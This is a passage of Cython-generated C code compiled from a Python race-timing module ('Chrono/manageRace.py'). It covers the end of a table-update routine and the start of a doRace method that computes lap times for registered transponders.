__pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_val}; __pyx_t_8 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_8); } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_6, __pyx_v_val}; __pyx_t_8 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; __Pyx_GOTREF(__pyx_t_8); } else #endif { __pyx_t_25 = PyTuple_New(1+1); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_25, 0, __pyx_t_6); __pyx_t_6 = NULL; __Pyx_INCREF(__pyx_v_val); __Pyx_GIVEREF(__pyx_v_val); PyTuple_SET_ITEM(__pyx_t_25, 0+1, __pyx_v_val); __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_25, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 259, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_XDECREF_SET(__pyx_v_txt, __pyx_t_8); __pyx_t_8 = 0; } __pyx_L38:; /* "Chrono/manageRace.py":260 * else: * txt = createTime( val ) * setLine( colors["White"], row, self._basecol + i, txt ) # <<<<<<<<<<<<<< * tick = tt["partial"][i] * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) */ __pyx_t_8 = __Pyx_GetModuleGlobalName(__pyx_n_s_colors); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_7 = PyObject_GetItem(__pyx_t_8, __pyx_n_u_White); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_basecol); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_25 = PyNumber_Add(__pyx_t_8, __pyx_v_i); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = PyTuple_New(4); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_7); __Pyx_INCREF(__pyx_v_row); __Pyx_GIVEREF(__pyx_v_row); PyTuple_SET_ITEM(__pyx_t_8, 1, __pyx_v_row); __Pyx_GIVEREF(__pyx_t_25); PyTuple_SET_ITEM(__pyx_t_8, 2, __pyx_t_25); __Pyx_INCREF(__pyx_v_txt); __Pyx_GIVEREF(__pyx_v_txt); PyTuple_SET_ITEM(__pyx_t_8, 3, __pyx_v_txt); __pyx_t_7 = 0; __pyx_t_25 = 0; __pyx_t_25 = __Pyx_PyObject_Call(__pyx_v_setLine, __pyx_t_8, NULL); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 260, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; /* "Chrono/manageRace.py":261 * txt = createTime( val ) * setLine( colors["White"], row, self._basecol + i, txt ) * tick = tt["partial"][i] # <<<<<<<<<<<<<< * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * */ __pyx_t_25 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_partial); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __pyx_t_8 = PyObject_GetItem(__pyx_t_25, __pyx_v_i); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 261, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; __Pyx_DECREF_SET(__pyx_v_tick, __pyx_t_8); __pyx_t_8 = 0; /* "Chrono/manageRace.py":253 * tick = tt["lasttick"] * dur = self._duration * 1000 * for i in range( 0, self.partials ): # <<<<<<<<<<<<<< * val = tt["partial"][i] - tick * if val <= 0 or val>dur or tt["partial"][i] < tt["lasttick"] : */ } __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; /* "Chrono/manageRace.py":221 * Globals.MainWindow.R_RaceLive.setRowCount( self.maxrows ) * l = self._duration*4000 * for tp in dictRace: # <<<<<<<<<<<<<< * tt = dictRace[tp] * if True: #if tt["updated"]: */ } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":262 * setLine( colors["White"], row, self._basecol + i, txt ) * tick = tt["partial"][i] * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) # <<<<<<<<<<<<<< * * def doRace( self, tp, millis, type ): */ __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_Globals); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_MainWindow); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_R_RaceLive); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_sortItems); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_25 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_DescendingOrder); if (unlikely(!__pyx_t_25)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_25); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = NULL; __pyx_t_17 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_9 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_9)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_9); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); __pyx_t_17 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_int_0, __pyx_t_25}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_17, 2+__pyx_t_17); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_8)) { PyObject *__pyx_temp[3] = {__pyx_t_9, __pyx_int_0, __pyx_t_25}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_8, __pyx_temp+1-__pyx_t_17, 2+__pyx_t_17); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_25); __pyx_t_25 = 0; } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_17); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_9) { __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_9); __pyx_t_9 = NULL; } __Pyx_INCREF(__pyx_int_0); __Pyx_GIVEREF(__pyx_int_0); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_17, __pyx_int_0); __Pyx_GIVEREF(__pyx_t_25); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_17, __pyx_t_25); __pyx_t_25 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 262, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":169 * * * def update(self): # <<<<<<<<<<<<<< * def setLine( color, row, column, text, icon = None): * try: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_6); __Pyx_XDECREF(__pyx_t_7); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_9); __Pyx_XDECREF(__pyx_t_25); __Pyx_XDECREF(__pyx_t_26); __Pyx_AddTraceback("Chrono.manageRace.manageRace.update", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_setLine); __Pyx_XDECREF(__pyx_v_curtime); __Pyx_XDECREF(__pyx_v_task); __Pyx_XDECREF(__pyx_v_r); __Pyx_XDECREF(__pyx_v_q); __Pyx_XDECREF(__pyx_v_e); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XDECREF(__pyx_v_millis); __Pyx_XDECREF(__pyx_v_type); __Pyx_XDECREF(__pyx_v_l); __Pyx_XDECREF(__pyx_v_tt); __Pyx_XDECREF(__pyx_v_row); __Pyx_XDECREF(__pyx_v_tick); __Pyx_XDECREF(__pyx_v_dur); __Pyx_XDECREF(__pyx_v_i); __Pyx_XDECREF(__pyx_v_val); __Pyx_XDECREF(__pyx_v_txt); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":264 * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * * def doRace( self, tp, millis, type ): # <<<<<<<<<<<<<< * lap = 0 * raceTime = int(time()) */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_11doRace(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_11doRace = {"doRace", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_11doRace, METH_VARARGS|METH_KEYWORDS, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_11doRace(PyObject *__pyx_self, PyObject *__pyx_args, PyObject *__pyx_kwds) { PyObject *__pyx_v_self = 0; PyObject *__pyx_v_tp = 0; PyObject *__pyx_v_millis = 0; PyObject *__pyx_v_type = 0; PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("doRace (wrapper)", 0); { static PyObject **__pyx_pyargnames[] = {&__pyx_n_s_self,&__pyx_n_s_tp,&__pyx_n_s_millis,&__pyx_n_s_type,0}; PyObject* values[4] = {0,0,0,0}; if (unlikely(__pyx_kwds)) { Py_ssize_t kw_args; const Py_ssize_t pos_args = PyTuple_GET_SIZE(__pyx_args); switch (pos_args) { case 4: values[3] = PyTuple_GET_ITEM(__pyx_args, 3); case 3: values[2] = PyTuple_GET_ITEM(__pyx_args, 2); case 2: values[1] = PyTuple_GET_ITEM(__pyx_args, 1); case 1: values[0] = PyTuple_GET_ITEM(__pyx_args, 0); case 0: break; default: goto __pyx_L5_argtuple_error; } kw_args = PyDict_Size(__pyx_kwds); switch (pos_args) { case 0: if (likely((values[0] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_self)) != 0)) kw_args--; else goto __pyx_L5_argtuple_error; case 1: if (likely((values[1] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_tp)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("doRace", 1, 4, 4, 1); __PYX_ERR(0, 264, __pyx_L3_error) } case 2: if (likely((values[2] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_millis)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("doRace", 1, 4, 4, 2); __PYX_ERR(0, 264, __pyx_L3_error) } case 3: if (likely((values[3] = PyDict_GetItem(__pyx_kwds, __pyx_n_s_type)) != 0)) kw_args--; else { __Pyx_RaiseArgtupleInvalid("doRace", 1, 4, 4, 3); __PYX_ERR(0, 264, __pyx_L3_error) } } if (unlikely(kw_args > 0)) { if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_pyargnames, 0, values, pos_args, "doRace") < 0)) __PYX_ERR(0, 264, __pyx_L3_error) } } else if (PyTuple_GET_SIZE(__pyx_args) != 4) { goto __pyx_L5_argtuple_error; } else { values[0] = PyTuple_GET_ITEM(__pyx_args, 0); values[1] = PyTuple_GET_ITEM(__pyx_args, 1); values[2] = PyTuple_GET_ITEM(__pyx_args, 2); values[3] = PyTuple_GET_ITEM(__pyx_args, 3); } __pyx_v_self = values[0]; __pyx_v_tp = values[1]; __pyx_v_millis = values[2]; __pyx_v_type = values[3]; } goto __pyx_L4_argument_unpacking_done; __pyx_L5_argtuple_error:; __Pyx_RaiseArgtupleInvalid("doRace", 1, 4, 4, PyTuple_GET_SIZE(__pyx_args)); __PYX_ERR(0, 264, __pyx_L3_error) __pyx_L3_error:; __Pyx_AddTraceback("Chrono.manageRace.manageRace.doRace", __pyx_clineno, __pyx_lineno, __pyx_filename); __Pyx_RefNannyFinishContext(); return NULL; __pyx_L4_argument_unpacking_done:; __pyx_r = __pyx_pf_6Chrono_10manageRace_10manageRace_10doRace(__pyx_self, __pyx_v_self, __pyx_v_tp, __pyx_v_millis, __pyx_v_type); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":290 * ptt[1] = -tt["remticks"] * if self.max_time < raceTime: # we have finished the time ..... * cl = sorted(self.private.items(), reverse=True, key=lambda t:t[1]) # <<<<<<<<<<<<<< * if cl[0][0] == tp: # ok leader passed the line * if self.remain_lap == -2: # start for the last laps... */ /* Python wrapper */ static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_6doRace_lambda(PyObject *__pyx_self, PyObject *__pyx_v_t); /*proto*/ static PyMethodDef __pyx_mdef_6Chrono_10manageRace_10manageRace_6doRace_lambda = {"lambda", (PyCFunction)__pyx_pw_6Chrono_10manageRace_10manageRace_6doRace_lambda, METH_O, 0}; static PyObject *__pyx_pw_6Chrono_10manageRace_10manageRace_6doRace_lambda(PyObject *__pyx_self, PyObject *__pyx_v_t) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("lambda (wrapper)", 0); __pyx_r = __pyx_lambda_funcdef_lambda(__pyx_self, ((PyObject *)__pyx_v_t)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_lambda_funcdef_lambda(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_t) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; __Pyx_RefNannySetupContext("lambda", 0); __Pyx_XDECREF(__pyx_r); __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_t, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 290, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_r = __pyx_t_1; __pyx_t_1 = 0; goto __pyx_L0; /* function exit code */ __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_AddTraceback("Chrono.manageRace.manageRace.doRace.lambda", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "Chrono/manageRace.py":264 * Globals.MainWindow.R_RaceLive.sortItems(0, Qt.DescendingOrder) * * def doRace( self, tp, millis, type ): # <<<<<<<<<<<<<< * lap = 0 * raceTime = int(time()) */ static PyObject *__pyx_pf_6Chrono_10manageRace_10manageRace_10doRace(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self, PyObject *__pyx_v_tp, PyObject *__pyx_v_millis, PyObject *__pyx_v_type) { PyObject *__pyx_v_lap = NULL; PyObject *__pyx_v_raceTime = NULL; PyObject *__pyx_v_tt = NULL; PyObject *__pyx_v_ptt = NULL; PyObject *__pyx_v_cl = NULL; PyObject *__pyx_v_c = NULL; PyObject *__pyx_v_i = NULL; PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; PyObject *__pyx_t_6 = NULL; int __pyx_t_7; int __pyx_t_8; PyObject *__pyx_t_9 = NULL; PyObject *__pyx_t_10 = NULL; Py_ssize_t __pyx_t_11; PyObject *(*__pyx_t_12)(PyObject *); int __pyx_t_13; int __pyx_t_14; __Pyx_RefNannySetupContext("doRace", 0); /* "Chrono/manageRace.py":265 * * def doRace( self, tp, millis, type ): * lap = 0 # <<<<<<<<<<<<<< * raceTime = int(time()) * */ __Pyx_INCREF(__pyx_int_0); __pyx_v_lap = __pyx_int_0; /* "Chrono/manageRace.py":266 * def doRace( self, tp, millis, type ): * lap = 0 * raceTime = int(time()) # <<<<<<<<<<<<<< * * try: */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 266, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 266, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_raceTime = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/manageRace.py":268 * raceTime = int(time()) * * try: # <<<<<<<<<<<<<< * if tp in dictRace: # test if transponder it registred * tt = dictRace[tp] */ { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_4, &__pyx_t_5, &__pyx_t_6); __Pyx_XGOTREF(__pyx_t_4); __Pyx_XGOTREF(__pyx_t_5); __Pyx_XGOTREF(__pyx_t_6); /*try:*/ { /* "Chrono/manageRace.py":269 * * try: * if tp in dictRace: # test if transponder it registred # <<<<<<<<<<<<<< * tt = dictRace[tp] * ptt = self.private[tp] */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_dictRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 269, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = (__Pyx_PySequence_ContainsTF(__pyx_v_tp, __pyx_t_2, Py_EQ)); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 269, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_8 = (__pyx_t_7 != 0); if (__pyx_t_8) { /* "Chrono/manageRace.py":270 * try: * if tp in dictRace: # test if transponder it registred * tt = dictRace[tp] # <<<<<<<<<<<<<< * ptt = self.private[tp] * if not tt["ended"]: # has the rider passed the finish flag */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_dictRace); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 270, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyObject_GetItem(__pyx_t_2, __pyx_v_tp); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 270, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_v_tt = __pyx_t_1; __pyx_t_1 = 0; /* "Chrono/manageRace.py":271 * if tp in dictRace: # test if transponder it registred * tt = dictRace[tp] * ptt = self.private[tp] # <<<<<<<<<<<<<< * if not tt["ended"]: # has the rider passed the finish flag * if type == 0: # finish line crossing */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_private); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 271, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = PyObject_GetItem(__pyx_t_1, __pyx_v_tp); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 271, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_v_ptt = __pyx_t_2; __pyx_t_2 = 0; /* "Chrono/manageRace.py":272 * tt = dictRace[tp] * ptt = self.private[tp] * if not tt["ended"]: # has the rider passed the finish flag # <<<<<<<<<<<<<< * if type == 0: # finish line crossing * lap = millis - tt["lasttick"] */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_ended); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 272, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_8 < 0)) __PYX_ERR(0, 272, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_7 = ((!__pyx_t_8) != 0); if (__pyx_t_7) { /* "Chrono/manageRace.py":273 * ptt = self.private[tp] * if not tt["ended"]: # has the rider passed the finish flag * if type == 0: # finish line crossing # <<<<<<<<<<<<<< * lap = millis - tt["lasttick"] * tt["lasttick"] = millis */ __pyx_t_2 = __Pyx_PyInt_EqObjC(__pyx_v_type, __pyx_int_0, 0, 0); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 273, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = __Pyx_PyObject_IsTrue(__pyx_t_2); if (unlikely(__pyx_t_7 < 0)) __PYX_ERR(0, 273, __pyx_L3_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_7) { /* "Chrono/manageRace.py":274 * if not tt["ended"]: # has the rider passed the finish flag * if type == 0: # finish line crossing * lap = millis - tt["lasttick"] # <<<<<<<<<<<<<< * tt["lasttick"] = millis * tt["lastlap"] = lap */ __pyx_t_2 = PyObject_GetItem(__pyx_v_tt, __pyx_n_u_lasttick); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 274, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_1 = PyNumber_Subtract(__pyx_v_millis, __pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 274, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF_SET(__pyx_v_lap, __pyx_t_1); __pyx_t_1 = 0; /* "Chrono/manageRace.py":275 * if type == 0: # finish line crossing * lap = millis - tt["lasttick"] * tt["lasttick"] = millis # <<<<<<<<<<<<<< * tt["lastlap"] = lap * tt["remticks"] = time()*1000 - self.start_time_ms */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lasttick, __pyx_v_millis) < 0)) __PYX_ERR(0, 275, __pyx_L3_error) /* "Chrono/manageRace.py":276 * lap = millis - tt["lasttick"] * tt["lasttick"] = millis * tt["lastlap"] = lap # <<<<<<<<<<<<<< * tt["remticks"] = time()*1000 - self.start_time_ms * tt["time"] = raceTime */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_lastlap, __pyx_v_lap) < 0)) __PYX_ERR(0, 276, __pyx_L3_error) /* "Chrono/manageRace.py":277 * tt["lasttick"] = millis * tt["lastlap"] = lap * tt["remticks"] = time()*1000 - self.start_time_ms # <<<<<<<<<<<<<< * tt["time"] = raceTime * if tt["lapcount"] >= 0: # the first crossing, it not a full lap */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_time); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } else { __pyx_t_1 = __Pyx_PyObject_CallNoArg(__pyx_t_2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L3_error) } __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = PyNumber_Multiply(__pyx_t_1, __pyx_int_1000); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_start_time_ms); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = PyNumber_Subtract(__pyx_t_2, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_remticks, __pyx_t_3) < 0)) __PYX_ERR(0, 277, __pyx_L3_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Chrono/manageRace.py":278 * tt["lastlap"] = lap * tt["remticks"] = time()*1000 - self.start_time_ms * tt["time"] = raceTime # <<<<<<<<<<<<<< * if tt["lapcount"] >= 0: # the first crossing, it not a full lap * if lap < tt["bestlap"]: */ if (unlikely(PyObject_SetItem(__pyx_v_tt, __pyx_n_u_time, __pyx_v_raceTime) < 0)) __PYX_ERR(0, 278, __pyx_L3_error) /* "Chrono/manageRace.py":279 * tt["remticks"] = time()*1000 - self.start_time_ms * tt["time"] = raceTime * if tt["lapcount"] >= 0: # the first crossing, it not a full lap # <<<<<<<<<<<<<< * if lap < tt["bestlap"]: * tt["textcolor"] = colors["Green"] */ __pyx_t_3 = 